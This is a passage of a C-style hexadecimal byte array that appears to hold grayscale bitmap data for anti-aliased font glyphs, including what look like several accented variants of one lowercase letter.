0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x44, 0x6B, 0x8C, 0x95, 0x7C, 0x61,
0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x6F, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF,
0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF, 0xF7, 0x07, 0x00, 0x00, 0x00, 0xA9, 0xFF,
0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00,
0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFE, 0xFF, 0xFF, 0x63, 0x00,
0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xFD, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x39, 0xC6, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4D, 0x83, 0xAA, 0xCA, 0xEA, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x52, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFC,
0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x98, 0xFF, 0xFF,
0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCE,
0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0xCB, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC9, 0xFF, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x23, 0xD6, 0xFF, 0xFF,
0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x7E, 0x95, 0xD2, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x0D, 0x93, 0xFD, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x29, 0x62,
0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x00, 0x11, 0x4B, 0x5E, 0x47, 0x0C, 0x00, 0x00, 0x00,
0x00, 0x15, 0x5D, 0x7B, 0x8F, 0x97, 0x81, 0x60, 0x14, 0x00, 0x00, 0x00, 0x00, 0x01, 0x27, 0x5D,
0x8F, 0x85, 0x53, 0x22, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x9A, 0xFD, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x8E, 0x01, 0x00, 0x3F, 0xE6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xE9, 0x63, 0x01, 0x00, 0x00, 0x00, 0x04, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xA6, 0x71, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0xF1, 0xB6, 0x83, 0x6A, 0x86, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFA, 0xAF, 0x83, 0x92, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0xCC, 0xFF,
0xFF, 0xE3, 0x26, 0x00, 0x00, 0x00, 0x00, 0x05, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0xCE, 0x2C, 0x00,
0x00, 0x00, 0x02, 0x6E, 0xFB, 0xFF, 0xFF, 0xD8, 0x01, 0x0E, 0xFC, 0xFF, 0xFF, 0x56, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xF0, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x89, 0xFF, 0xFF, 0xFF, 0x46, 0x1D, 0xB2, 0xB2, 0xB2, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x58, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xF2, 0xFF, 0xFF,
0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x53, 0xD8, 0xFF, 0xFF, 0xFF,
0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00,
0x0E, 0x5A, 0x8A, 0xAD, 0xCF, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0xB4, 0xB4, 0xB4,
0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xF4, 0xFF, 0xFF, 0xD5, 0x00, 0x0B, 0x8A, 0xF0, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x07, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0xC8, 0x9B,
0x84, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF4, 0x66, 0xFF, 0xFF, 0xFF, 0xF1, 0x90, 0x4A, 0x17, 0x00, 0x00, 0x00, 0x37, 0xFF, 0xFF, 0xFF,
0x20, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0D, 0xC6, 0xFF, 0xFF,
0xF0, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0B, 0xE0, 0xF8, 0xF8, 0xA6, 0xF5, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C,
0xF8, 0xFF, 0xFF, 0xFF, 0xF1, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xFF,
0x76, 0xCA, 0xFF, 0xFF, 0xEF, 0x29, 0x00, 0x00, 0x00, 0x00, 0x54, 0xE7, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xC7, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x32, 0xF8, 0xFF, 0xFF, 0xEE, 0x11, 0x8B, 0xFF, 0xFF,
0xFF, 0xF9, 0xB8, 0x7A, 0x77, 0xBD, 0xFF, 0xFF, 0xFF, 0xA9, 0xB8, 0xFF, 0xFF, 0xFF, 0xEB, 0xA0,
0x72, 0x7A, 0xAD, 0xFD, 0xFF, 0xFF, 0xFB, 0x50, 0x00, 0x0C, 0xDB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xBA, 0x08, 0x15, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFD, 0x59, 0x00, 0x00, 0x00, 0x22, 0xB2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x74,
0x01, 0x00, 0x00, 0x0B, 0x8B, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0x45, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x33, 0x63, 0x87, 0x93, 0x78, 0x4D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x56, 0x7A, 0x95, 0x83, 0x65, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x07, 0x36, 0x6A, 0x9A, 0x9F, 0x85, 0x63, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x33, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x8C, 0x0E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6A, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAF, 0x00, 0x00,
0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x97, 0x7C, 0xA8, 0xFD, 0xFF, 0xFF, 0xFF, 0x6E,
0x00, 0x00, 0x01, 0xCD, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFB, 0xFF, 0xFF,
0xD3, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xFF,
0xFF, 0xFE, 0x14, 0x00, 0xB6, 0xFF, 0xFF, 0xFC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35,
0xFF, 0xFF, 0xFF, 0x4F, 0x00, 0xD9, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x2F, 0x32, 0x32, 0x0C, 0x02, 0xF9, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0xA3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xAB, 0xAF, 0xAF, 0x39, 0x00, 0xC6, 0xFF, 0xFF, 0xEF, 0x0A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x2C, 0x00, 0x92, 0xFF, 0xFF, 0xFF,
0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC2, 0xFF, 0xFF, 0xE3, 0x00, 0x00, 0x19, 0xF3, 0xFF,
0xFF, 0xF9, 0x53, 0x00, 0x00, 0x00, 0x05, 0x90, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x79,
0xFF, 0xFF, 0xFF, 0xFC, 0xC5, 0x90, 0x94, 0xD8, 0xFF, 0xFF, 0xFF, 0xE3, 0x14, 0x00, 0x00, 0x00,
0x07, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x39, 0x00, 0x00, 0x00,
0x00, 0x00, 0x09, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAE, 0x23, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x6E, 0xFF, 0xFF, 0x86, 0x50, 0x23, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xB7, 0xFF, 0xEB, 0x4E, 0x0D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x96, 0x72, 0xC6, 0xFF, 0xFF, 0xC0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xFE,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xB6, 0x70, 0x5F, 0xB8, 0xFF, 0xFF,
0xCE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF1, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x51, 0x81, 0xA1, 0x95,
0x72, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x54, 0x54, 0x54, 0x3F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xE7, 0xFF, 0xFF,
0xFB, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xEF,
0xFF, 0xFF, 0xCA, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3B, 0xF5, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x49, 0xFA, 0xFF, 0xF2, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x58, 0xDC, 0xDC, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x06, 0x33, 0x65, 0x84, 0x7D, 0x5B, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x87, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0xA1, 0x16, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1C, 0xC3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x37,
0x00, 0x00, 0x00, 0x08, 0xDE, 0xFF, 0xFF, 0xFF, 0xE8, 0xA5, 0x88, 0xB5, 0xED, 0xFF, 0xFF, 0xFF,
0xEB, 0x1B, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0xAB, 0x11, 0x00, 0x00, 0x00, 0x0A, 0xBD, 0xFF,
0xFF, 0xFF, 0x81, 0x00, 0x17, 0xF2, 0xFF, 0xFF, 0xC7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09,
0xCB, 0xFF, 0xFF, 0xE0, 0x01, 0x76, 0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0x42, 0x9E, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF, 0x74, 0xC4, 0xFF, 0xFF, 0xFD, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4,
0xB4, 0xB4, 0xB4, 0xB4, 0xFF, 0xFF, 0xFF, 0x8F, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0xD8, 0xFF, 0xFF, 0xC1, 0x10, 0x10,
0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x07, 0xB2, 0xFF, 0xFF, 0xDE, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFE,
0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xF8, 0xF8, 0xF8, 0x45, 0x4B, 0xFF, 0xFF,
0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0xB7,
0xFF, 0xFF, 0xFE, 0x7C, 0x01, 0x00, 0x00, 0x00, 0x0A, 0x9A, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00,
0x25, 0xF9, 0xFF, 0xFF, 0xFF, 0xC9, 0x8E, 0x72, 0x98, 0xDE, 0xFF, 0xFF, 0xFF, 0xDF, 0x10, 0x00,
0x00, 0x00, 0x55, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x35, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1F, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x9C, 0x24, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x26, 0x59, 0x8B, 0x9B, 0x80, 0x62, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x54, 0x54, 0x54, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0xCB,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0xEA, 0xFF, 0xFF, 0xD7,
0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xE1,
0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xFF, 0xFF, 0xEA,
0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xDC, 0xD7,
0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06,
0x33, 0x65, 0x84, 0x7D, 0x5B, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x87,
0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0xA1, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xC3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x37, 0x00, 0x00, 0x00, 0x08, 0xDE,
0xFF, 0xFF, 0xFF, 0xE8, 0xA5, 0x88, 0xB5, 0xED, 0xFF, 0xFF, 0xFF, 0xEB, 0x1B, 0x00, 0x00, 0x78,
0xFF, 0xFF, 0xFF, 0xAB, 0x11, 0x00, 0x00, 0x00, 0x0A, 0xBD, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x17,
0xF2, 0xFF, 0xFF, 0xC7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xCB, 0xFF, 0xFF, 0xE0, 0x01,
0x76, 0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF,
0x42, 0x9E, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF,
0xFF, 0x74, 0xC4, 0xFF, 0xFF, 0xFD, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xFF,
0xFF, 0xFF, 0x8F, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x98, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0xD8, 0xFF, 0xFF, 0xC1, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10,
0x10, 0x10, 0x10, 0x10, 0x10, 0x07, 0xB2, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFE, 0x27, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x36, 0xF8, 0xF8, 0xF8, 0x45, 0x4B, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0xB7, 0xFF, 0xFF, 0xFE, 0x7C, 0x01,
0x00, 0x00, 0x00, 0x0A, 0x9A, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x25, 0xF9, 0xFF, 0xFF, 0xFF,
0xC9, 0x8E, 0x72, 0x98, 0xDE, 0xFF, 0xFF, 0xFF, 0xDF, 0x10, 0x00, 0x00, 0x00, 0x55, 0xF0, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F,
0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x9C, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x26, 0x59, 0x8B, 0x9B, 0x80, 0x62, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0D, 0x54, 0x54, 0x54, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0xFF, 0xF3, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC7, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xED, 0xFF, 0xFF, 0x63, 0xD9, 0xFF, 0xFF, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xBB, 0xFF, 0xFF, 0xA4, 0x00, 0x34, 0xFA, 0xFF, 0xFC, 0x38,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xDC, 0xDC, 0xCA, 0x0F, 0x00, 0x00, 0x75, 0xDC, 0xDC,
0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x33, 0x65, 0x84, 0x7D, 0x5B,
0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x87, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF8, 0xA1, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xC3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x37, 0x00, 0x00, 0x00, 0x08, 0xDE, 0xFF, 0xFF, 0xFF, 0xE8, 0xA5,
0x88, 0xB5, 0xED, 0xFF, 0xFF, 0xFF, 0xEB, 0x1B, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0xAB, 0x11,
0x00, 0x00, 0x00, 0x0A, 0xBD, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x17, 0xF2, 0xFF, 0xFF, 0xC7, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xCB, 0xFF, 0xFF, 0xE0, 0x01, 0x76, 0xFF, 0xFF, 0xFF, 0x30,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0x42, 0x9E, 0xFF, 0xFF, 0xE9,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF, 0x74, 0xC4, 0xFF, 0xFF,
0xFD, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xFF, 0xFF, 0xFF, 0x8F, 0xEB, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0xFA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98,
0xD8, 0xFF, 0xFF, 0xC1, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10,
0x07, 0xB2, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFE, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xF8,
0xF8, 0xF8, 0x45, 0x4B, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0xB7, 0xFF, 0xFF, 0xFE, 0x7C, 0x01, 0x00, 0x00, 0x00, 0x0A, 0x9A,
0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x25, 0xF9, 0xFF, 0xFF, 0xFF, 0xC9, 0x8E, 0x72, 0x98, 0xDE,
0xFF, 0xFF, 0xFF, 0xDF, 0x10, 0x00, 0x00, 0x00, 0x55, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF0, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF,
